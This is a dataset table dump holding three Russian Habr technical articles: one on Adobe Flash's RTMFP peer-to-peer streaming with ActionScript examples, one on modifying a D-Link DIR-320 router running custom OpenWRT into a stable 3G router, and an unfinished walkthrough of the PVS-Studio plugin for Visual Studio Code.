text
stringlengths 20
1.01M
| url
stringlengths 14
1.25k
| dump
stringlengths 9
15
⌀ | lang
stringclasses 4
values | source
stringclasses 4
values |
---|---|---|---|---|
# Adobe Flash Player и передача потоковых данных без участия сервера, часть 1-я: организация пирингового вещания
Как известно недавнее обновление продуктов **Adobe Flash Player до 10.1** и **Adobe AIR до 1.5** версий осуществило целый фурор, презентовав новый протокол связи [Real-Time Media Flow Protocol (RTMFP)](http://labs.adobe.com/technologies/cirrus/). Заранее попрошу не путать вышеупомянутый с [Real-Time Messaging Protocol (RTMP)](http://ru.wikipedia.org/wiki/RTMP) для использования которого был необходим [Adobe Flash Media Server (FMS)](http://ru.wikipedia.org/wiki/Adobe_Flash_Media_Server) на стороне обслуживающего сервера.
Разработчики обещают, что протокол будет обладать низкой задержкой во времени при пересылке пакетов, но самое главное, протокол ориентирован на организацию [пиринговой сети](http://ru.wikipedia.org/wiki/Одноранговая_сеть).
Более ранние версии Flash Player использовали передачу данных в режиме реального времени по протоколу RTMP и требовали серьёзных финансовых затрат. Для функционирования Adobe Flash Media Server (FMS) необходим очень дорогой и прихотливый хостинг (вплоть до аренды физического сервера, т.к. ресурсов всё это дело есть немало, и устанавливается как отдельный программный мод в систему сервера).
RTMP является оптимальным выбором для потокового мультимедиа, общего доступа к различным данным, или удаленного/одновременного их использования.
Итак, вернёмся, новый протокол (RTMFP) уже получил прозвание «пиринговый», т.к. для работы AIR и Flex приложений нет строгой необходимости в стороннем медиа-сервере. Почему «строгой», потому, что сервер — таки есть, но не тот который обрабатывает/хранит мультимедиа и другие данные, а тот который лишь контролирует сессии между клиентами (пирами) и распределяет трафик.
Как говорится в послании Jozsef Vass (*Джосефа Васс, старший научный сотрудник компании Adobe/Flash Runtime Foundation ранее работавшего в компании новаторских технологии VoIP*) [«Cirrus service for developing end-to-end applications using RTMFP in Flash Player 10»](http://www.adobe.com/devnet/flashplayer/articles/rtmfp_cirrus_app.html) (*пер. на рус. «Cirrus сервис для разработки конечных приложений с помощью RTMFP в Flash Player 10»*) для того чтобы использовать RTMFP, Flash Player пира должен подключится к RTMFP-совместимому серверу, например такому как **Cirrus** (ранее известному под кодовым именем ***Stratus***) или Flash Media Server 4. В статье говорится, что Cirrus это сетевой сервис, который помогает устанавливать связи между клиентами (пирами) через их Flash плееры. Исходя из материалов и приложений статьи, подобный сервер можно организовать и на своём веб-ресурсе, (*см. исходники в приложении, файл «reg.cgi»*).
**О преимуществах RTMFP**
— протокол не управляется по [Transmission Control Protocol (TCP)](http://ru.wikipedia.org/wiki/TCP) из-за его привычки повторно досылать потерянные пакеты данных, а базируется на [**User Datagram Protocol (UDP)**](http://ru.wikipedia.org/wiki/UDP), что уменьшает время отклика между клиентами (пирами) и сервером. Кроме того, UDP в большинстве случаев не блокируется брандмауэрами, что освобождает от донастройки сетевых экранов;
— данные пересылаются непосредственно между двумя клиентами Flash Player в режиме реального времени без маршрутизации через центральный сервер;
— поддерживается передача мультимедиа в высоком качестве, ровно в таком, сколько может позволить себе ширина канала Интернет между двумя клиентами (пирами);
— наличие своей, т.е. Адобовской службы управления потоком **Cirrus**, по адресу: rtmfp://p2p.rtmfp.net, которая проверяет возможность использования протокола по ключу-разработчика. Ещё раз повторюсь не имеет ничего общего с Flash Media Server. Cirrus используются исключительно для того, чтобы экземпляры Flash Player смогли найти друг друга в сети.
— безопасное соединение достигается посредством 128-битного AES с использованием метода обмена ключами [Diffie-Hellmann](http://ru.wikipedia.org/wiki/Diffie-Hellman). Поддержка SSL или RTMPS.
— наличие отдельных классов в ActionScript 3.0.
**Организация пирингового вещания**
Перед использованием Adobe Cirrus Вы должны [получить ключ разработчика от Adobe Labs](https://www.adobe.com/cfusion/entitlement/index.cfm?e=stratus). Пиры могут связаться друг с другом, не используя Cirrus. Для этого требуется, чтобы клиенты были в одной локальной сети, что крайне редко.
Чтобы соединиться со службой Adobe Cirrus, необходимо создать экземпляр *NetConnection*. При соединении должно передаваться 2 строковых параметра: Adobe Cirrus URL и Ваш ключ разработчика, как показано ниже:
`private const CirrusAddress:String = "rtmfp://p2p.rtmfp.net";
private const DeveloperKey:String = "your-developer-key";
private var netConnection:NetConnection;
netConnection = new NetConnection();
// Добавляем детектор (listener) для получаения информации о статусе соединения
netConnection.addEventListener(NetStatusEvent.NET_STATUS, netConnectionHandler);
// Соединяемся со Cirrus
netConnection.connect(CirrusAddress, DeveloperKey);`
В случае, если со Cirrus состоялось успешное соединение, у *NetStatusEvent.NET\_STATUS* свойству *info.code* будет присвоена строка «NetConnection.Connect.Success».
Примечания: В настоящий момент метод *NetConnection.call()* не поддерживается при использовании Cirrus. Любой вызов *NetConnection.call()* будет проигнорирован Cirrus. Разработчики рекомендуют не использовать метод *NetConnection.call()* при использовании RTMFP со Cirrus, поскольку это будет увеличивать потребление памяти у клиента без необходимого функционального эффекта.
Как только экземпляр Flash Player успешно соединился со службой Cirrus, он получит уникальный 256-битный peer\_ID, который служба Cirrus будет использовать, для привязки его к IP-адресу и номеру порта клиента, чтобы другие клиенты Flash Player имели возможность связаться с ним.
Новый Cirrus 2 server channel и Flash Player 10.1, теперь может использоваться, чтобы помочь сформировать самоуправляемые P2P сети без необходимости в ручном обмене peer\_ID. Это позволяет множеству клиентов Flash Player связаться непосредственно друг с другом наиболее эффективным способом.
Далее, устанавливается соединение с клиентом (пиром). Прямая потоковая передача достигается с использованием однонаправленного *NetStream* канала. А если вы хотите двустороннюю передачу данных, каждый клиент Flash Player должен создать *NetStream* для отправки и *NetStream* для получения данных:
`// для отправки потока данных пиру
private var sendStream:NetStream;
sendStream = new NetStream(netConnection, NetStream.DIRECT_CONNECTIONS);
sendStream.addEventListener(NetStatusEvent.NET_STATUS, netStreamHandler);
sendStream.publish("media");
sendStream.attachAudio(Microphone.getMicrophone());
sendStream.attachCamera(Camera.getCamera());
// для получения потока данных от пира
private var recvStream:NetStream;
recvStream = new NetStream(netConnection, id_of_publishing_client);
recvStream.addEventListener(NetStatusEvent.NET_STATUS, netStreamHandler);
recvStream.play("media");`
Вещатель потока может осуществлять непосредственный контроль на тем, кто сможет принимать вещаемые им данные. Когда клиент попытается осуществить доступ к опубликованному потоку, вызовется метод *onPeerConnect()* (по умолчанию реализация просто возвращает true ) на опубликованный *NetStream* и пир получает доступ к данным), чтобы этого не происходило, можно реализовать проверку клиентов(пиров) на права к данному потоку по объекту "**accept**":
`var o:Object = new Object();
o.onPeerConnect = function(subscriberStream:NetStream):Boolean {
if (accept) {
return true;
} else {
return false;
}
}
sendStream.client = o;`
На стороне вещателя, *NetStream.peerStreams* свойство присущее всем подписавшимся пирам. Например, с помощью метода *sendStream.send()* поток будет отсылаться для всех пиров, но можно направить поток и конкретному получателю:
`sendStream.peerStreams[i].send();`
Необходимо упомянуть ещё об двух свойствах, это — *NetConnection.maxPeerConnections* и *NetConnection.unconnectedPeerStreams*.
*NetConnection.maxPeerConnections* — определяет число пиров, которым разрешено подключаться к вещателю. По умолчанию это свойство имеет значение 8, но на практике, может быть и больше. Каждый клиент Flash Player отправляет и получает два потока, создавая тем самым полноценную сеть. Так как ширина канала Интерент по download`у, как правило, намного выше, чем upload`у, необходимо быть очень осторожным, чтобы не перегрузить входящий канал от подписавшегося пира.
*NetConnection.unconnectedPeerStreams* свойство, которые содержит в массиве пиров ещё не подписанных на вещаемый поток данных. При подписании на вещание патока имя пира переходит из данного массива в массив *NetStream.peerStreams*.
**Все, пока на этом всё.** Единственное, что ещё хотелось бы добавить это то, что как и любой любопытный человек, решил проверить все описанные выше возможности протокола.
Проверка осуществлялась на предмет зависимости Приложений от Сервера Сирруса.
На сайте Лаборатории Адоба, есть неплохой пример: «[Cirrus Sample Application](http://labs.adobe.com/technologies/cirrus/samples/)». Исходники можно скачать и разобрать по костям здесь: <http://download.macromedia.com/pub/labs/cirrus/cirrus_app_assets_v5.zip>
Так, вот, тестирование проводилось в домашней сети. Сначала заходил с ноутбука подключенному к сети Интернет через стационарный ПК, регистрировался в этой демке от Адоб Лаба, потом тоже самое на делал на стационарном ПК, делал коннект по зарегистрированным именам, а потом отключал доступ к сети Интрнет. Вердикт, 15 минут (видимо столько живет сессия вещания потоковых данных по peer\_ID) отличной связи между двумя веб-камерами установленными на разных машинах. Такой себе локальный сам-себе-месенджер на коленке.
Всё, всем желаю удачи. Жду приглашение в армию Хабра-воинов. Часто постить не обещаю, но все же… люблю поделиться интересным. | https://habr.com/ru/post/130526/ | null | ru | null |
# Переделывание D-Link DIR-320 в 3G роутер
Я более чем уверен, что многие уже не один раз видели подобные заголовки. Но каждый раз, когда их читаешь, получается, что нужно купить какой-то самый в мире проверенный модем, да к тому же удача должна быть к тебе благосклонна. А ведь самая распространённая проблема заключается в том, что нет такого модема, который бы не зависал по истечению определенного времени. Самый длинный интервал, что я видел – это 8 (восемь) часов. Как следствие, многие отказываются от подобной задумки и опускают руки, а в случае если без роутера никак, то приспосабливают для этих целей старенький ПК, да еще и устанавливают Windows (как правило, XP, ну или что будет под рукой).
Так как ПК и уж тем более Windows, для меня не вариант и «того самого» модема у меня не было под руками, пришлось искать решение.
Если интересно продолжение, прошу под «кат».
#### Введение
Как, наверное, многим стало понятно из предисловия, передо мной стояла задача сделать небольшой и очень стабильный 3G роутер.
Что для этого потребовалось:
* Роутер DIR-320 (был в наличии)
* 3G модем
* Внешняя антенна
#### Исследования и постановка целей
Итак, прежде чем делать что-то самому, я начал с того, что проанализировал многочисленные форумы и сообщества. На каждом форуме были ветки с описание тех самых чудо модемов и бесконечного ряда, связанных с ними проблем. Одни были мега стабильными, но с неприемлемо низкой скоростью, другие радовали производительностью, но уже через 30 минут «зависали» намертво. Все это очень сильно огорчало.
Прежде чем идти в «закрома родины» за стареньким ПК, я решил проанализировать имеющиеся факты и самостоятельно исследовать проблему.
Для первичных экспериментов я решил воспользоваться стационарным ПК с Linux. Настроив 3G соединение, посредством имеющегося в наличии Huawei E173, запустил вызов команды ping + wget с интервалом раз в 10 минут. Соединение продержалось около 4 (четырёх) часов, после чего модем перестал отвечать на PPP команды, AT при этом работали. Такой же эксперимент я провел и с AnyDATA ADU-500A (это модем из списка «тех самых»). Как ни странно, закончилось все тем же, только через 5 часов.
Всякие попытки оживить, не приносили долгожданного результата, только полное обесточивание спасало ситуацию.
В очередной раз я решил перезагрузить модем и тут меня осенило, а почему бы просто не потушить USB порт. Сказано-сделано:
1. Находим модем из списка всех USB устройств:
```
for f in `ls /sys/bus/usb/devices/*/product`; do echo -e "$f\t`cat $f`"; done
```
2. Выключаем порт на 5 секунд и затем включаем:
```
echo “suspend” | sudo tee /sys/bus/usb/devices/1-1/power/level
sleep 5
echo "on" | sudo tee /sys/bus/usb/devices/1-1/power/level
```
Эксперимент показал, что все прекрасно перезагружается. И соединение может быть опять установлено. С этого момента стало предельно ясно, что нужно делать.
Взяв четыре прошивки для роутера: D-Link, Asus, OpenWRT или DD-WRT, начал повторять эксперимент, но вот незадача, на удивление, ни в одной из прошивок не оказалось возможности управления питанием USB. Вначале я подумал, что это проблема ядра 2.4.x. Но и та же проблема и с 2.6. Более того, после перезагрузки роутера модем оставался проинициализированным. Вывод напрашивался сам собой, нужно разбирать роутер.
Внимательный осмотр и «прозвонка» платы показали, что ножка питания «+5В» подключена непосредственно к источнику питания. Это меня не устраивает и нужно делать модернизацию платы и источника питания.
Наступил момент выбора дистрибутива. У этого замечательного роутера очень мало оперативной памяти и не хотелось, чтобы её потребляли ненужные сервисы, будь то httpd, FTP, SAMBA или что еще. Было принято решение построить дистрибутив на базе OpenWRT самостоятельно, при этом с минимумом предустановленных пакетов и сервисов.
Но прежде чем приступить к сборке дистрибутива и модернизации роутера, предстояла работа по выбору целевого модема/оператора и внешней антенны.
Просмотрев карту покрытия разных операторов, пришел к выводу, что наиболее подходящим является MTS. Помимо карты покрытия, мне очень понравилось то, что у них можно всю статистику и управление совершить из достаточно удобного WEB интерфейса. Купив их самый лучший модем, с обещанным максимумом в 14,7 Мбит/с и минимум в 3Мбит/с, начал свое приключение.
Возможно, кому-то будет интересно:
* 3G модем (был куплен [MTS WeTelecom WM-D300](http://www.mts.com.ua/rus/wm_d300.php))
* Направленная антенна CDMA-450 (неплохая по заверению продавца, [какого-то неизвестного производителя](http://3gstar.com.ua/Antenna-cdma450Mgc-usileniem-17Db-MTSkonnekt-kabel-perehodnik-p-323.html))
После покупки начал попытки подключиться к этому модему. И как всегда возник ряд вопросов:
1. Он настойчиво отображается как CD-ROM
2. Ни слова в интернете об этом модеме, максимум, что было найдено это [упоминание о предыдущей модели (WM-D200)](http://imbecyle.livejournal.com/432989.html)
Анализ dmesg показал, что CD-ROM монтируется как SCSI, это навело на мысль, что его нужно отключать именно как SCSI, никакие usb\_modeswitch тут не работают, да собственно и не нужны.
Разумеется, был сразу написан свой софт, который это делал. Но непокидающая мысль, о том, что это кто-то уже писал и скорее всего это уже есть в портах/portage или еще где-то, заставило поискать. Первый же проход по папке с man’ами показал, что есть чудеснейший пакет sdparm. Установив и проверив, стало ясно — это то, что нужно.
Так как теперь все стало на свои места и больше не осталось вопросов, можно приступать к работе.
#### Сборка OpenWRT
Все шаги выполняются в консоли Linux. Обратите внимание, релиз Backfire выбран из-за того, что это последний релиз с ядром 2.4. Это очень важно, так как ядро 2.6 само по себе очень требовательно как к производительности процессора, так и к системным ресурсам.
* Скачиваем исходник OpenWRT:
```
svn co svn://svn.openwrt.org/openwrt/branches/backfire openwrt-backfire
```
* Переходим в папку с исходником
```
cd openwrt-backfire
```
* Обновляем все пакеты
```
./scripts/feeds update -a
```
* Добавляем из пакетов sdparm
```
./scripts/feeds install sdparm
```
* Открываем меню настройки
```
make menuconfig
```
* Выбираем интересующую платформу
```
Target System (Broadcom BCM947xx/953xx [2.4])
```
* Встраиваем интересующие нас пакеты (по умолчанию они не включены даже как модули)
```
<*> sdparm........................ Read or modify SCSI or USB disk parameters
<*> chat................................. Establish conversation with a modem
<*> comgt............................... Option/Vodafone 3G/GPRS control tool
<*> kmod-scsi-generic........................ Kernel support for SCSI generic
<*> kmod-usb-core............................................ Support for USB
<*> kmod-usb-ohci............................... Support for OHCI controllers
<*> kmod-usb-serial..................... Support for USB-to-Serial converters
<*> kmod-usb-storage..................................... USB Storage support
<*> kmod-usb2................................... Support for USB2 controllers
```
* Все остальные пункты оставляем без изменения
* Выходим из меню конфигуратора с сохранением
* Собираем инструменты
```
make tools/install -j`grep -c processor /proc/cpuinfo`
make toolchain/install -j`grep -c processor /proc/cpuinfo`
```
* Открываем меню настройки ядра Linux
```
make kernel_menuconfig
```
* Настраиваем MTD
```
[*] Support 2-chip flash interleave
```
* Выходим из меню конфигуратора с сохранением
* Собираем OpenWRT
```
make -j`grep -c processor /proc/cpuinfo`
```
* После того как прошивка собрана, её нужно прошить в устройство. На эту тему есть масса инструкций ([например, на сайте DD-WRT](http://www.dd-wrt.com/wiki/index.php/%D0%9F%D1%80%D0%BE%D1%88%D0%B8%D0%B2%D0%BA%D0%B0_DIR-320#.D0.9F.D1.80.D0.BE.D1.88.D0.B8.D0.B2.D0.BA.D0.B0_.D0.B2.D1.80.D1.83.D1.87.D0.BD.D1.83.D1.8E))
#### Проверка прошивки
После того как прошивка была «залита» и роутер перезагрузился, подключите к нему модем и соедините роутер посредством Ethernet с вашим ПК. Настройте на интерфейсе (в моём случае это eth0) вашего ПК IP адрес выполнив команду:
```
ifconfig eth0 inet 192.168.1.2/24
```
Далее, подключитесь к роутеру по Telnet. Для этого из консоли выполните следующую команду:
```
telnet -l root 192.168.1.1
```
Вход будет совершен автоматически без запроса пароля. Это в корне не верно. Чтобы исправить ситуацию, задайте пароль, выполнив команду в консоли:
```
passwd
```
Выполните команду «*exit*», для выхода из **telnet** сессии.
Выполните вход по **ssh**:
```
ssh root@192.168.1.1
```
Следующим шагом, удостоверимся, что модем был распознан ядром, выполнив команду в консоли:
```
grep "^P\:.*22de.*6803" /proc/bus/usb/devices
```
Результатом выполнения этой команды, будет строка с VID и PID модема. В противном случае, проверьте, что было сделано не по инструкции.
#### Модернизация аппаратного обеспечения роутера
Для управления питанием USB порта нужна свободная ножка процессора. Но так как это не инженерная плата, а конечный продукт, данный вариант не подходит. По счастливой случайности, у этого роутера масса светодиодных индикаторов на передней панели. Один из них мы вполне можем приспособить под наши нужды. В моем случае выбор пал на индикатор со значком принтера, так как он соответствовал светодиоду USB на proc-fs (/proc/diag/led/usb).
Управление питанием будет осуществлять дополнительная плата с минимально необходимым набором деталей. Вот её схема:
![](https://habrastorage.org/r/w1560/storage2/404/9f7/9b0/4049f79b01bef30cf06cf8a977e98edf.png)
Пара слов о схеме. Оба транзистора работают в качестве ключей. При подаче логической единицы на вход «CTRL», транзистор VT1 откроется, что в свою очередь приведет к открытию транзистора VT2 и питающее напряжение подастся на USB порт. Как таковые, расчеты не производились, поэтому, схема не может считаться оптимальной. Например, транзистор VT1, просто был единственным N-P-N транзистором в поле досягаемости, собственно как и резисторы.
На изготовление печатной платы не было ни времени, не желания, по этому, я обошелся небольшим кусочком монтажной платы. Вот так выглядит конечный вариант:
![](https://habrastorage.org/r/w1560/storage2/39a/1a6/425/39a1a6425ce2a6880e438158f5c09125.png)
*Зелёными надписями отмечены одноименные порты на схемы. Резистор R4, припаян непосредственно к ножке светодиода.*
Пошаговая инструкция по модификации:
* Обесточьте роутер и разберите его
* Уберите не нужный R48 – этот резистор соединяет светодиод с ножкой процессора
![](https://habrastorage.org/r/w1560/storage2/10d/f45/527/10df4552745b2745ed5346da95d21719.png)
* Удалите предохранитель F1 – этот предохранитель, должен обеспечить защиту в случае короткого замыкания на линиях питания USB. Его номинал мне не известен, но я его применил в своей схеме (R3). Обратите внимание, надписями желтого цвета отмечены места подключения платы управления
![](https://habrastorage.org/r/w1560/storage2/227/da1/25f/227da125fadc9813836dc4a180e2fee8.png)
* Удалите защитное покрытие с проводника, ведущего сигнал от процессора к резистору R48. К этому проводнику, должен быть подпаян порт «CTRL» платы управления
![](https://habrastorage.org/r/w1560/storage2/5cb/a2e/dd9/5cba2edd97297b9066e5688fdd4b2632.png)
* Приклейте плату управления в наиболее удобное для вас место. Мне, оказался, по душе свободный участок, чуть ниже антенного гнезда. В этом случае длина соединительных проводов будет наименьшей
![](https://habrastorage.org/r/w1560/storage2/8f5/6f8/e61/8f56f8e61961da594cf206f90f0dfc85.png)
* Припаяйте резистор R4 непосредственно к аноду светодиода, как указанно на фотографии. Также обратите внимание на подключение соединительных проводов
![](https://habrastorage.org/r/w1560/storage2/f92/d1e/e63/f92d1ee6358149b327a9f2942782a968.png)
* Закончите монтаж соединительных проводов
![](https://habrastorage.org/r/w1560/storage2/151/9dd/ca6/1519ddca6410f4a8752576caf252924a.png)
* Итоговый результат
![](https://habrastorage.org/r/w1560/storage2/945/bb0/68c/945bb068c1d717120d70d2278cbee965.png)
* Соберите и включите роутер
#### Модернизация программного обеспечения роутера
Это последний шаг на пути к «счастью». Нам нужно будет написать ряд новых скриптов и внести изменения в уже имеющиеся. Итак, все по прядку.
Подключитесь к роутеру по ssh, так как все следующие шаги будут выполняться непосредственно на нём.
##### Создание утилит для управления USB
Перейдите в папку /etc/ppp. Многих заинтересует, почему была выбрана именно эта папка в качестве целевой. Ответ прост, так исторически сложилось. Думаю, /usr/local/sbin будет более подходящей, но сути это не меняет
```
cd /etc/ppp
```
* Создайте usb-up.sh. Этот скрипт будет включать питание на USB порте
```
$ cat usb-up.sh
#!/bin/sh
logger -t "USB PwrCtrl" "Turn-on USB power"
echo 1 > /proc/diag/led/usb
```
* Создайте скрипт для перезагрузки USB порта
```
$ cat resetusb.sh
#!/bin/sh
logger -t "USB PwrCtrl" "Turn-off USB power"
echo 0 > /proc/diag/led/usb
# Sleep in 3 sec is an optional, but may be useful for some modem types
#sleep 3
logger -t "USB PwrCtrl" "Turn-on USB power"
echo 1 > /proc/diag/led/usb
```
* Создайте скрипт для проверки существования процесса pppd
```
#!/bin/sh
if ps | grep -q /usr/sbin/pppd; then
logger -t "PPP watcher" "PPP alive"
else
logger -t "PPP watcher" "No PPP daemon"
/etc/ppp/resetusb.sh
fi
```
* Сделайте скрипты исполняемыми
```
chmod a+x /etc/ppp/*.sh
```
* Добавим корректную обработку подключения модема к USB. Обратите внимание на то, что в OpenWRT, по умолчанию, нет udev, а вместо этого используется hotplug «демон»
```
$ cat /etc/hotplug.d/usb/11-modem
#!/bin/sh
# Copyright (C) 2013 Sergey Shcherbakov
case "$ACTION" in
add)
(grep -q "^P\:.\*22de.\*6803" /proc/bus/usb/devices) && {
logger -t "WM-D300" "Detected ZeroCD of WM-D300 modem"
# Checking ZeroCD status
while [ "$(sdparm -q --command=ready /dev/scsi/host0/bus0/target0/lun0/generic)" != "Ready" ]; do
logger -t "WM-D300" "ZeroCD yet not ready"
# Workaround for bug with multiple calls of scripts
(/usr/bin/lsusb | grep -q 22de:6801) && {
logger -t "WM-D300" "Seems that script called twice and device already initialized"
return 0
}
sleep 2
done
logger -t "WM-D300" "ZeroCD ready and will be ejected"
/usr/bin/sdparm --command=eject /dev/scsi/host0/bus0/target0/lun0/generic
}
(grep -q "^P\:.\*22de.\*6801" /proc/bus/usb/devices) && [ ! -c /dev/usb/tts/0 ] && {
logger -t "WM-D300" "Updating USB Serial driver with D200/D300 vendor and product ID"
rmmod usbserial && insmod usbserial vendor=0x22de product=0x6801
}
(grep -q "^P\:.\*22de.\*6801" /proc/bus/usb/devices) && [ -c /dev/usb/tts/2 ] && ! (ifconfig 3g-wan 1>/dev/null 2>/dev/null) && {
logger -t "WM-D300" "All modem interfaces installed, turning on WAN"
ifdown wan && ifup wan
}
;;
remove)
! (grep -q "^P\:.\*22de.\*6801" /proc/bus/usb/devices) && {
logger -t "WM-D300" "Modem disconnected, turning off WAN interface"
ifdown wan
}
;;
esac
```
##### Внесение изменений в существующие скрипты
* Запретите WAN интерфейс, заданный по умолчанию, выполнив команду
```
sed -i 's/interface\ wan$/interface\ wan_dflt/' /etc/config/network
```
* Добавьте новый описатель WAN интерфейса с [настройками для 3G](http://wiki.openwrt.org/doc/uci/network#protocol.3g.ppp.over.ev-do.cdma.umts.or.gprs)
```
$ cat /etc/config/network
…
config interface wan
option ifname ppp0
option device /dev/usb/tts/0
option service evdo
option proto 3g
option username 'mobile'
option password 'internet'
option pppd_options 'noipdefault maxfail 3'
option connect '/etc/ppp/usb-up.sh'
option disconnect '/etc/ppp/resetusb.sh'
option keepalive 20
```
* Для того чтобы добавить автоматическое включение USB порта при инициализации роутера, нужно модифицировать стандартный скрипт /etc/init.d/usb, добавив в конце функции start() вызов скрипта /etc/ppp/usb-up.sh
```
$ cat /etc/init.d/usb
…
start() {
...
# Turn-on power on USB
/etc/ppp/usb-up.sh
}
…
```
* Дополнительно можно модифицировать, но необязательно, Chat скрипт (/etc/chatscripts/evdo.chat). На самом деле, он должен работать даже без изменений, но я предпочел немного его «причесать». Вот мой вариант:
```
ABORT BUSY
ABORT 'NO CARRIER'
ABORT ERROR
ABORT 'NO DIAL TONE'
ABORT 'NO DIALTONE'
ABORT 'NO ANSWER'
REPORT CONNECT
TIMEOUT 10
'' AT
OK ATDT#777
CONNECT ''
```
* Добавляем в Cron задачу, которая будет проверять наличие процесса pppd каждые пять минут. Для этого следует вызвать команду “crontab -e” и добавить следующую строку:
```
*/5 * * * * /etc/ppp/check.sh
```
* Разрешаем выполнение Cron и запускаем его
```
/etc/init.d/cron enable && /etc/init.d/cron start
```
* Настройку WiFi приводить не буду, так как она достаточно стандартная и [прекрасно описана на официальном сайте OpenWRT](http://wiki.openwrt.org/doc/uci/wireless#wifi.networks)
На этом все, больше изменений не будет. Я рекомендую перезагрузить роутер, хотя 3G и так должен «ожить» через пять минут.
#### Вместо эпилога
Домашние испытания продлились 41 день. Как результат, ни единого сбоя на протяжении всего периода. Ожидаемая стабильность достигнута.
Перед отправкой в «поля», были проведены испытания пропускной способности в киевской квартире. Разочарование застигло врасплох, достигнутый максимум не превышал 1Мбит/с, при этом только на больших файлах. Минимальный пинг был а пределах 220мс. Решив не прекращать испытания, поехал за город. Уровень был на максимуме, при этом индикатор CDMA Rev.B уже не горел. На самом деле, я не теплил надежд на 14Мбит/с, но ожидал увидеть, как минимум, уже достигнутый 1Мбит. Но очередное разочарование не заставило себя ждать, достигнутый максимум составлял уже около 350Кбит/с.
На этом, всяческие эксперименты с модемом от MTS были прекращены. Вернуть его так и не удалось. А вот антенну продавец обменял на модель способную работать в связке с модемами Интертелеком и PeopleNET. Чему я был несказанно рад, а модем пускай будет в коллекции, когда-нибудь пригодится. | https://habr.com/ru/post/184940/ | null | ru | null |
# Обзор плагина PVS-Studio для Visual Studio Code
Благодаря новому плагину PVS‑Studio преимущества статического анализа теперь доступны и при работе с редактором Visual Studio Code. В этой статье мы разберём использование плагина от этапа установки до работы с результатами анализа. Присоединяйтесь!
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/678/4c1/227/6784c1227708e63bfa4169bf0b4136ac.png)PVS‑Studio — это статический анализатор кода, предназначенный для проверки C, С++, С# и Java проектов. В декабре 2022 года командой PVS‑Studio было выпущено два плагина: для Qt Creator и для Visual Studio Code. На данный момент оба плагина поддерживают основной функционал, необходимый для работы с результатами анализа. Анализировать проекты непосредственно из интерфейса плагинов пока нельзя, но мы планируем добавить эту возможность в будущих релизах. Сейчас же анализ можно выполнить в плагинах для Rider, Visual Studio или с помощью командной строки.
Но вернемся к главной теме этой статьи. Предлагаю познакомимся с плагином PVS‑Studio для Visual Studio Code и узнать, как вы можете использовать его в своей работе.
### Устанавливаем анализатор PVS-Studio и плагин для VS Code
Для начала установим анализатор PVS‑Studio, чтобы позже проанализировать проект. Установочный файл анализатора вы можете скачать с официального [сайта](https://pvs-studio.com/ru/pvs-studio/try-free/).
#### Установка анализатора на Windows
В процессе установки анализатора у вас не должно возникнуть трудностей. Тем не менее вы всегда можете воспользоваться [инструкцией по установке PVS‑Studio на Windows](https://pvs-studio.com/ru/docs/manual/0007/#ID14A03AA943).
**Примечание.** На этапе установки 'Select Components' можно выбрать пункт 'Integration with Visual Studio Code'. В результате вместе с анализатором будет установлен и плагин к VS Code.
#### Установка анализатора на Linux и macOS
Процессы установки анализатора на операционных системах Linux и macOS детально описаны в следующих разделах документации:
* [установка анализатора на Linux](https://pvs-studio.com/ru/docs/manual/0051/#ID5C47BCCB04);
* [установка анализатора на macOS](https://pvs-studio.com/ru/docs/manual/0051/#ID5B1549B6C4).
#### Установка плагина к VS Code
Если плагин не был установлен вместе с анализатором, можно сделать это вручную. Чтобы установить плагин PVS‑Studio, откройте Visual Studio Code и перейдите на вкладку 'Extensions', затем введите в поле поиска 'PVS‑Studio' и кликните по кнопке 'Install':
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/14b/c3c/6c6/14bc3c6c617c8d2df53ad17df5040f84.png)### Запускаем анализ
Давайте опробуем плагин и анализатор, проверив какой‑нибудь проект. В этой статье я буду демонстрировать работу анализатора на примере Open Source проекта.
Запуск анализа непосредственно из VS Code пока не поддерживается, однако эту возможность планируется добавить в будущих релизах. Сейчас же предлагаю воспользоваться командной строкой.
Для запуска анализа C#‑приложения на операционной системе Linux я использовал команду следующего вида:
```
pvs-studio-dotnet -t Solution.sln -o PVS-Studio_Result.json -r
```
В этой команде применяются следующие параметры:
* ‑t [project/sln] — обязательный параметр, путь до файла проекта или решения;
* ‑o [outputPath] — путь, по которому будет сгенерирован отчет с результатами анализа. Поддерживаются два формата отчета: 'plog' и 'json'. Формат отчета определяется по заданному расширению файла. В зависимости от версии анализатора и используемой ОС формат по умолчанию может отличаться. Важно отметить, что на данный момент плагин поддерживает работу только с отчетами формата json, поэтому лучше задавать этот параметр явно;
* ‑r — включает режим подробного логирования в терминале для отслеживания хода выполнения анализа.
**Примечание.** Запуск анализа из командной строки может отличаться в зависимости от операционной системы и языка программирования анализируемого проекта. Вы можете обратиться к [документации PVS‑Studio](https://pvs-studio.com/ru/docs/manual/0038/) для получения инструкции по запуску анализа конкретно для вашего случая.
### Работа с результатами анализа
Вернемся в VS Code и перейдем во вкладку 'PVS‑Studio'. Здесь кликаем по кнопке 'Open report':
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/7b6/8cf/d9b/7b68cfd9bc65f16af495662c469170d3.png)В появившемся диалоговом окне выбираем файл с отчетом. Напомню, что на данный момент плагин работает только с json‑отчетами. Если вы работаете на Windows, ваш отчет мог сгенерироваться в формате 'plog'. В этом случае следует предварительно сконвертировать его в 'json' с помощью прилагаемой к анализатору утилите — 'PlogConverter'. Больше информации о работе с утилитой вы можете получить в разделе документации [о просмотре и конвертации результатов анализа](https://pvs-studio.com/ru/docs/manual/0038/).
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/3b3/155/c09/3b3155c09c07b0ac6c30aab52805c600.png)Интерфейс плагина можно условно разделить на пять областей:
1. Фильтры по кодам предупреждений, сообщениям и названиям файла.
2. Фильтры по уровням предупреждений.
3. Фильтры по группам диагностик.
4. Функции сохранения и загрузки отчета, а также настройки плагина.
5. Список предупреждений, представленный в виде таблицы.
С частью функционала мы познакомимся далее. Если же вы захотите получить больше информации о плагине, можете обратиться к [документации](https://pvs-studio.com/ru/docs/manual/6646/).
Обратите внимание на область интерфейса под номером 2:
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/eed/4c1/0c7/eed4c10c7053c2a4e7f410aaf3aa2338.png)Кнопки этой области позволяют включить/отключить предупреждения с определенным уровнем. Уровень отражает «уверенность» анализатора в том, что предупреждение указывает на ошибку.
Каждой кнопке соответствует число — количество предупреждений данного уровня.
А сейчас почему бы нам не найти какую‑нибудь ошибку в проекте, используя отчет анализатора?
